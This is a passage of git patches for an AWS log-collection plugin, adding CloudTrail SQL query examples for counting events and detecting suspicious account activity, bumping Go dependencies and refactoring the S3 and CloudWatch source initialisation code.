'sts.amazonaws.com' and event_name = 'AssumeRole' group by - user_identity.arn, assumption_hour + user_identity.arn, + event_hour having count(*) > 10 order by - assumption_count desc; + event_hour desc, + event_count desc; +``` + +## Baseline Examples + +### Detect unusual source IP addresses for users + +```sql +select + user_identity.arn as user_arn, + source_ip_address, + count(*) as access_count, + date_trunc('day', event_time) as access_day +from + aws_cloudtrail_log +where + source_ip_address not like '%.amazonaws.com' + and source_ip_address not in (select distinct source_ip_address from aws_cloudtrail_log) +group by + user_identity.arn, source_ip_address, access_day +having + access_count > 5 +order by + access_count desc; ``` +### Detect activity outside of normal hours (between 8 PM and 6 AM) + +```sql +select + event_time, + event_source, + event_name, + request_parameters, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + cast(strftime(event_time, '%H') as integer) >= 20 + or cast(strftime(event_time, '%H') as integer) < 6 +order by + event_time desc; From 570a7c50c80a31b2a17d2b558d38e41d312e29ac Mon Sep 17 00:00:00 2001 From: kaidaguerre Date: Thu, 9 Jan 2025 14:37:37 +0000 Subject: [PATCH 125/180] Update to support SDK changes for external plugin source (#50) --- go.mod | 14 ++++++++----- go.sum | 28 +++++++++++++++++--------- sources/cloudwatch_log_group_source.go | 3 +-- sources/s3_bucket_source.go | 3 +-- 4 files changed, 29 insertions(+), 19 deletions(-) diff --git a/go.mod b/go.mod index 3f1fd92e..f82eb41c 100644 --- a/go.mod +++ b/go.mod @@ -42,11 +42,14 @@ require ( github.com/bmatcuk/doublestar v1.3.4 // indirect github.com/briandowns/spinner v1.23.0 // indirect github.com/btubbs/datetime v0.1.1 // indirect + github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/containerd/containerd v1.7.18 // indirect github.com/containerd/errdefs v0.1.0 // indirect github.com/containerd/log v0.1.0 // indirect github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect + github.com/dgraph-io/ristretto v0.2.0 // indirect + github.com/dustin/go-humanize v1.0.1 // indirect github.com/elastic/go-grok v0.3.1 // indirect github.com/fatih/color v1.17.0 // indirect github.com/felixge/httpsnoop v1.0.4 // indirect @@ -115,6 +118,7 @@ require ( github.com/opencontainers/image-spec v1.1.0 // indirect github.com/pelletier/go-toml/v2 v2.2.2 // indirect github.com/pjbgf/sha1cd v0.3.0 // indirect + github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect github.com/rivo/uniseg v0.2.0 // indirect github.com/sagikazarmark/locafero v0.4.0 // indirect @@ -152,14 +156,14 @@ require ( go.opentelemetry.io/otel/trace v1.26.0 // indirect go.uber.org/atomic v1.9.0 // indirect go.uber.org/multierr v1.9.0 // indirect - golang.org/x/crypto v0.28.0 // indirect + golang.org/x/crypto v0.31.0 // indirect golang.org/x/exp v0.0.0-20240909161429-701f63a606c0 // indirect golang.org/x/mod v0.21.0 // indirect golang.org/x/net v0.30.0 // indirect golang.org/x/oauth2 v0.22.0 // indirect - golang.org/x/sys v0.26.0 // indirect - golang.org/x/term v0.25.0 // indirect - golang.org/x/text v0.19.0 // indirect + golang.org/x/sys v0.28.0 // indirect + golang.org/x/term v0.27.0 // indirect + golang.org/x/text v0.21.0 // indirect golang.org/x/time v0.5.0 // indirect golang.org/x/tools v0.26.0 // indirect golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028 // indirect @@ -189,5 +193,5 @@ require ( github.com/stretchr/testify v1.9.0 github.com/turbot/go-kit v0.10.0-rc.0 github.com/turbot/pipe-fittings v1.4.1 - golang.org/x/sync v0.8.0 + golang.org/x/sync v0.10.0 ) diff --git a/go.sum b/go.sum index 3f404288..a102b5ce 100644 --- a/go.sum +++ b/go.sum @@ -271,6 +271,8 @@ github.com/bufbuild/protocompile v0.4.0/go.mod h1:3v93+mbWn/v3xzN+31nwkJfrEpAUwp github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= +github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cheggaaa/pb v1.0.27/go.mod h1:pQciLPpbU0oxA0h+VJYYLxO+XeDQb5pZijXscXHm81s= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= @@ -302,6 +304,12 @@ github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSs github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dgraph-io/ristretto v0.2.0 h1:XAfl+7cmoUDWW/2Lx8TGZQjjxIQ2Ley9DSf52dru4WE= +github.com/dgraph-io/ristretto v0.2.0/go.mod h1:8uBHCU/PBV4Ag0CJrP47b9Ofby5dqWNh4FicAdoqFNU= +github.com/dgryski/go-farm v0.0.0-20200201041132-a6ae2369ad13 h1:fAjc9m62+UWV/WAFKLNi6ZS0675eEUC9y3AlwSbQu1Y= +github.com/dgryski/go-farm v0.0.0-20200201041132-a6ae2369ad13/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/elastic/go-grok v0.3.1 h1:WEhUxe2KrwycMnlvMimJXvzRa7DoByJB4PVUIE1ZD/U= github.com/elastic/go-grok v0.3.1/go.mod h1:n38ls8ZgOboZRgKcjMY8eFeZFMmcL9n2lP0iHhIDk64= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= @@ -732,8 +740,8 @@ golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8U golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.28.0 h1:GBDwsMXVQi34v5CCYUm2jkJvu4cbtru2U4TN2PSyQnw= -golang.org/x/crypto v0.28.0/go.mod h1:rmgy+3RHxRZMyY0jjAJShp2zgEdOqj2AO7U0pYmeQ7U= +golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= +golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -864,8 +872,8 @@ golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ= -golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ= +golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -937,13 +945,13 @@ golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.26.0 h1:KHjCJyddX0LoSTb3J+vWpupP9p0oznkqVk/IfjymZbo= -golang.org/x/sys v0.26.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= +golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.25.0 h1:WtHI/ltw4NvSUig5KARz9h521QvRC8RmF/cuYqifU24= -golang.org/x/term v0.25.0/go.mod h1:RPyXicDX+6vLxogjjRxjgD2TKtmAO6NZBsBRfrOLu7M= +golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q= +golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -954,8 +962,8 @@ golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.19.0 h1:kTxAhCbGbxhK0IwgSKiMO5awPoDQ0RpfiVYBfK860YM= -golang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= +golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= +golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= diff --git a/sources/cloudwatch_log_group_source.go b/sources/cloudwatch_log_group_source.go index 34bb9d8a..2f2a0a8c 100644 --- a/sources/cloudwatch_log_group_source.go +++ b/sources/cloudwatch_log_group_source.go @@ -12,7 +12,6 @@ import ( cwtypes "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs/types" typehelpers "github.com/turbot/go-kit/types" "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-sdk/config_data" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/types" @@ -32,7 +31,7 @@ type AwsCloudWatchSource struct { client *cloudwatchlogs.Client } -func (s *AwsCloudWatchSource) Init(ctx context.Context, configData config_data.ConfigData, connectionData config_data.ConfigData, opts ...row_source.RowSourceOption) error { +func (s *AwsCloudWatchSource) Init(ctx context.Context, configData types.ConfigData, connectionData types.ConfigData, opts ...row_source.RowSourceOption) error { // set the collection state ctor s.NewCollectionStateFunc = NewAwsCloudwatchCollectionState diff --git a/sources/s3_bucket_source.go b/sources/s3_bucket_source.go index dc17047b..7adf44d0 100644 --- a/sources/s3_bucket_source.go +++ b/sources/s3_bucket_source.go @@ -14,7 +14,6 @@ import ( "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/config_data" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/types" @@ -38,7 +37,7 @@ type AwsS3BucketSource struct { client *s3.Client } -func (s *AwsS3BucketSource) Init(ctx context.Context, configData config_data.ConfigData, connectionData config_data.ConfigData, opts ...row_source.RowSourceOption) error { +func (s *AwsS3BucketSource) Init(ctx context.Context, configData types.ConfigData, connectionData types.ConfigData, opts ...row_source.RowSourceOption) error { slog.Info("Initializing AwsS3BucketSource") // set the collection state func to the S3 specific collection state From 39f5aed358823f854d50032e45466f911e4b587d Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Thu, 9 Jan 2025 14:23:57 -0500 Subject: [PATCH 126/180] Add new table examples doc --- docs/tables/aws_cloudtrail_log.md | 2 +- docs/tables/aws_cloudtrail_log_examples.md | 337 +++++++++++++++++++++ 2 files changed, 338 insertions(+), 1 deletion(-) create mode 100644 docs/tables/aws_cloudtrail_log_examples.md diff --git a/docs/tables/aws_cloudtrail_log.md b/docs/tables/aws_cloudtrail_log.md index 42e40395..991d3838 100644 --- a/docs/tables/aws_cloudtrail_log.md +++ b/docs/tables/aws_cloudtrail_log.md @@ -263,7 +263,7 @@ order by ## Volume Examples -### Detect high volume of S3 bucket access in short time +### Detect high volume of S3 bucket access requests ```sql select diff --git a/docs/tables/aws_cloudtrail_log_examples.md b/docs/tables/aws_cloudtrail_log_examples.md new file mode 100644 index 00000000..ed8e0806 --- /dev/null +++ b/docs/tables/aws_cloudtrail_log_examples.md @@ -0,0 +1,337 @@ +## Count Examples + +### Count events per day + +```sql +select + strftime(event_time, '%Y-%m-%d') AS event_date, + count(*) AS event_count +from + aws_cloudtrail_log +group by + event_date +order by + event_date ASC; +``` + +### Count events by event name + +```sql +select + event_source, + event_name, + count(*) as event_count +from + aws_cloudtrail_log +group by + event_source, + event_name, +order by + event_count desc; +``` + +### Count events by event name (exclude read-only events) + +```sql +select + event_source, + event_name, + count(*) as event_count +from + aws_cloudtrail_log +where + not read_only +group by + event_source, + event_name, +order by + event_count desc; +``` + +### Count events grouped by account ID + +```sql +select + event_source, + event_name, + recipient_account_id, + count(*) as event_count +from + aws_cloudtrail_log +group by + event_source, + event_name, + recipient_account_id +order by + event_count desc; +``` + +### Count errors by frequency + +```sql +select + error_code, + count(*) as event_count +from + aws_cloudtrail_log +where + error_code is not null +group by + error_code +order by + event_count desc; +``` + +## Detection Examples + +### Detect default EBS encryption disabled in a region + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_source = 'ec2.amazonaws.com' + and event_name = 'DisableEbsEncryptionByDefault' + and error_code is null +order by + event_time desc; +``` + +### Detect attempts to stop CloudTrail trail logging + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_name in ('StopLogging', 'DeleteTrail') + and event_source = 'cloudtrail.amazonaws.com' + and error_code is not null +order by + event_time desc; +``` + +### Detect unsuccessful AWS console login attempts + +```sql +select + event_time, + event_name, + user_identity.arn as user_arn, + source_ip_address, + user_agent, + aws_region, + recipient_account_id as account_id, + additional_event_data +from + aws_cloudtrail_log +where + event_source = 'signin.amazonaws.com' + and event_name = 'ConsoleLogin' + and error_code is not null +order by + event_time desc; +``` + +### Detect root account activity + +```sql +select + event_time, + event_name, + source_ip_address, + user_agent, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + user_identity.type = 'Root' +order by + event_time desc; +``` + +### Detect actions in unapproved regions + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + aws_region not in ('us-east-1', 'us-west-1') +order by + event_time desc; +``` + +### Detect actions from unapproved IP addresses + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + source_ip_address not in ('192.0.2.146', '206.253.208.100') +order by + event_time desc; +``` + +## Operational Examples + +### List VPC security group rule updates + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_source = 'ec2.amazonaws.com' + and event_name in ('AuthorizeSecurityGroupEgress', 'AuthorizeSecurityGroupIngress', 'RevokeSecurityGroupEgress', 'RevokeSecurityGroupIngress') + and error_code is null +order by + event_time desc; +``` + +### List IAM user policy updates + +```sql +select + event_time, + event_source, + event_name, + request_parameters, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_source = 'iam.amazonaws.com' + and event_name in ('AttachUserPolicy', 'DetachUserPolicy', 'PutUserPolicy') +order by + event_time desc; +``` + +## Volume Examples + +### Detect high volume of S3 bucket access requests + +```sql +select + user_identity.arn as user_arn, + count(*) as event_count, + date_trunc('minute', event_time) as event_minute +from + aws_cloudtrail_log +where + event_source = 's3.amazonaws.com' + and event_name in ('GetObject', 'PutObject', 'ListBucket') +group by + user_identity.arn, + event_minute +having + count(*) > 100 +order by + event_count desc; +``` + +### Detect excessive IAM role assumption + +```sql +select + user_identity.arn as user_arn, + count(*) as event_count, + date_trunc('hour', event_time) as event_hour +from + aws_cloudtrail_log +where + event_source = 'sts.amazonaws.com' + and event_name = 'AssumeRole' +group by + user_identity.arn, + event_hour +having + count(*) > 10 +order by + event_hour desc, + event_count desc; +``` + +## Baseline Examples + +### Detect unusual source IP addresses for users + +```sql +select + user_identity.arn as user_arn, + source_ip_address, + count(*) as access_count, + date_trunc('day', event_time) as access_day +from + aws_cloudtrail_log +where + source_ip_address not like '%.amazonaws.com' + and source_ip_address not in (select distinct source_ip_address from aws_cloudtrail_log) +group by + user_identity.arn, source_ip_address, access_day +having + access_count > 5 +order by + access_count desc; +``` + +### Detect activity outside of normal hours (between 8 PM and 6 AM) + +```sql +select + event_time, + event_source, + event_name, + request_parameters, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + cast(strftime(event_time, '%H') as integer) >= 20 + or cast(strftime(event_time, '%H') as integer) < 6 +order by + event_time desc; From a335a5856db8940077a6aa42ecfa988a09f417ae Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Thu, 9 Jan 2025 14:31:45 -0500 Subject: [PATCH 127/180] Add placeholder descriptions to example queries --- docs/tables/aws_cloudtrail_log_examples.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/docs/tables/aws_cloudtrail_log_examples.md b/docs/tables/aws_cloudtrail_log_examples.md index ed8e0806..257b35e3 100644 --- a/docs/tables/aws_cloudtrail_log_examples.md +++ b/docs/tables/aws_cloudtrail_log_examples.md @@ -2,6 +2,8 @@ ### Count events per day +Return a count of events per day to see trends across time. + ```sql select strftime(event_time, '%Y-%m-%d') AS event_date, @@ -16,6 +18,8 @@ order by ### Count events by event name +Return a count of events by event name see the most operations. + ```sql select event_source, From ebd91b140423dfdcd58f8ed0043939c3b678e702 Mon Sep 17 00:00:00 2001 From: Graza Date: Tue, 14 Jan 2025 17:54:01 +0000 Subject: [PATCH 128/180] Discovery updates (#54) --------- Co-authored-by: kai --- .../cloudwatch_log_group_collection_state.go | 7 +- sources/cloudwatch_log_group_source.go | 13 +- sources/s3_bucket_source.go | 165 ++++++++---------- sources/s3_bucket_source_config.go | 26 +-- sources/s3_collection_state.go | 81 ++++----- tables/alb_access_log_table.go | 17 ++ tables/cloudtrail_log_table.go | 17 +- tables/cost_usage_log_table.go | 9 +- tables/elb_access_log_table.go | 17 ++ tables/guardduty_finding_table.go | 15 +- tables/lambda_log_table.go | 16 ++ tables/s3_server_access_log_table.go | 17 ++ tables/securityhub_finding_table.go | 14 +- tables/vpc_flow_log_table.go | 16 ++ tables/waf_traffic_log_table.go | 17 +- 15 files changed, 261 insertions(+), 186 deletions(-) diff --git a/sources/cloudwatch_log_group_collection_state.go b/sources/cloudwatch_log_group_collection_state.go index 2a1c0507..3642f0f8 100644 --- a/sources/cloudwatch_log_group_collection_state.go +++ b/sources/cloudwatch_log_group_collection_state.go @@ -7,20 +7,21 @@ import ( // AwsCloudwatchCollectionState contains collection state data for the AwsCloudwatchSource artifact source // This contains the latest timestamp fetched for each log stream in a SINGLE log group type AwsCloudwatchCollectionState struct { - collection_state.CollectionStateBase + collection_state.CollectionStateImpl[*AwsCloudWatchSourceConfig] // The timestamp of the last collected log for each log stream // expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC. Timestamps map[string]int64 `json:"timestamps"` } func NewAwsCloudwatchCollectionState() collection_state.CollectionState[*AwsCloudWatchSourceConfig] { + // TODO handle storing path/loading/saving state return &AwsCloudwatchCollectionState{ Timestamps: make(map[string]int64), } } -func (s *AwsCloudwatchCollectionState) Init(*AwsCloudWatchSourceConfig) error { - return nil +func (s *AwsCloudwatchCollectionState) Init(config *AwsCloudWatchSourceConfig, path string) error { + return s.CollectionStateImpl.Init(config, path) } // Upsert adds new/updates an existing log stream with its current timestamp diff --git a/sources/cloudwatch_log_group_source.go b/sources/cloudwatch_log_group_source.go index 2f2a0a8c..449e62f8 100644 --- a/sources/cloudwatch_log_group_source.go +++ b/sources/cloudwatch_log_group_source.go @@ -2,7 +2,6 @@ package sources import ( "context" - "encoding/json" "fmt" "log/slog" "time" @@ -10,6 +9,7 @@ import ( "github.com/aws/aws-sdk-go-v2/aws" "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs" cwtypes "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs/types" + typehelpers "github.com/turbot/go-kit/types" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-sdk/row_source" @@ -31,13 +31,14 @@ type AwsCloudWatchSource struct { client *cloudwatchlogs.Client } -func (s *AwsCloudWatchSource) Init(ctx context.Context, configData types.ConfigData, connectionData types.ConfigData, opts ...row_source.RowSourceOption) error { + +func (s *AwsCloudWatchSource) Init(ctx context.Context, params *row_source.RowSourceParams, opts ...row_source.RowSourceOption) error { // set the collection state ctor s.NewCollectionStateFunc = NewAwsCloudwatchCollectionState // call base init to set config/connection - err := s.RowSourceImpl.Init(ctx, configData, connectionData, opts...) + err := s.RowSourceImpl.Init(ctx, params, opts...) if err != nil { return fmt.Errorf("failed to init %s source, %w", AwsCloudwatchSourceIdentifier, err) } @@ -119,12 +120,8 @@ func (s *AwsCloudWatchSource) Collect(ctx context.Context) error { // update collection state collectionState.Upsert(*ls.LogStream.LogStreamName, *event.Timestamp) - collectionStateJSON, err := json.Marshal(collectionState) - if err != nil { - return fmt.Errorf("error serialising collectionState data: %w", err) - } - if err := s.OnRow(ctx, row, collectionStateJSON); err != nil { + if err := s.OnRow(ctx, row); err != nil { return fmt.Errorf("error processing row: %w", err) } } diff --git a/sources/s3_bucket_source.go b/sources/s3_bucket_source.go index 7adf44d0..1316c6b4 100644 --- a/sources/s3_bucket_source.go +++ b/sources/s3_bucket_source.go @@ -2,20 +2,24 @@ package sources import ( "context" + "errors" "fmt" "io" + "io/fs" "log/slog" "os" "path" "path/filepath" - "strings" + "github.com/aws/aws-sdk-go-v2/aws" "github.com/aws/aws-sdk-go-v2/service/s3" + "github.com/elastic/go-grok" + + "github.com/turbot/pipe-fittings/filter" "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/types" ) @@ -33,28 +37,26 @@ func init() { type AwsS3BucketSource struct { artifact_source.ArtifactSourceImpl[*AwsS3BucketSourceConfig, *config.AwsConnection] - Extensions types.ExtensionLookup - client *s3.Client + client *s3.Client + errorList []error } -func (s *AwsS3BucketSource) Init(ctx context.Context, configData types.ConfigData, connectionData types.ConfigData, opts ...row_source.RowSourceOption) error { +func (s *AwsS3BucketSource) Init(ctx context.Context, params *row_source.RowSourceParams, opts ...row_source.RowSourceOption) error { slog.Info("Initializing AwsS3BucketSource") // set the collection state func to the S3 specific collection state - s.NewCollectionStateFunc = NewAwsS3CollectionState + //s.NewCollectionStateFunc = NewAwsS3CollectionState // call base to parse config and apply options - if err := s.ArtifactSourceImpl.Init(ctx, configData, connectionData, opts...); err != nil { + if err := s.ArtifactSourceImpl.Init(ctx, params, opts...); err != nil { return err } - s.Extensions = types.NewExtensionLookup(s.Config.Extensions) - s.TmpDir = path.Join(artifact_source.BaseTmpDir, fmt.Sprintf("s3-%s", s.Config.Bucket)) - if s.Config.Region == nil { slog.Info("No region set, using default", "region", defaultBucketRegion) s.Config.Region = utils.ToStringPointer(defaultBucketRegion) } + // initialize client client, err := s.getClient(ctx) if err != nil { @@ -62,7 +64,9 @@ func (s *AwsS3BucketSource) Init(ctx context.Context, configData types.ConfigDat } s.client = client - slog.Info("Initialized AwsS3BucketSource", "bucket", s.Config.Bucket, "prefix", s.Config.Prefix, "extensions", s.Extensions) + s.errorList = []error{} + + slog.Info("Initialized AwsS3BucketSource", "bucket", s.Config.Bucket, "layout", s.Config.FileLayout) return nil } @@ -72,7 +76,8 @@ func (s *AwsS3BucketSource) Identifier() string { } func (s *AwsS3BucketSource) Close() error { - return os.RemoveAll(s.TmpDir) + _ = os.RemoveAll(s.TempDir) + return nil } func (s *AwsS3BucketSource) ValidateConfig() error { @@ -80,99 +85,35 @@ func (s *AwsS3BucketSource) ValidateConfig() error { return fmt.Errorf("bucket is required and cannot be empty") } - // Check format of extensions - var invalidExtensions []string - for _, e := range s.Config.Extensions { - if len(e) == 0 { - invalidExtensions = append(invalidExtensions, "") - } else if e[0] != '.' { - invalidExtensions = append(invalidExtensions, e) - } - } - if len(invalidExtensions) > 0 { - return fmt.Errorf("invalid extensions: %s", strings.Join(invalidExtensions, ",")) - } - return nil } func (s *AwsS3BucketSource) 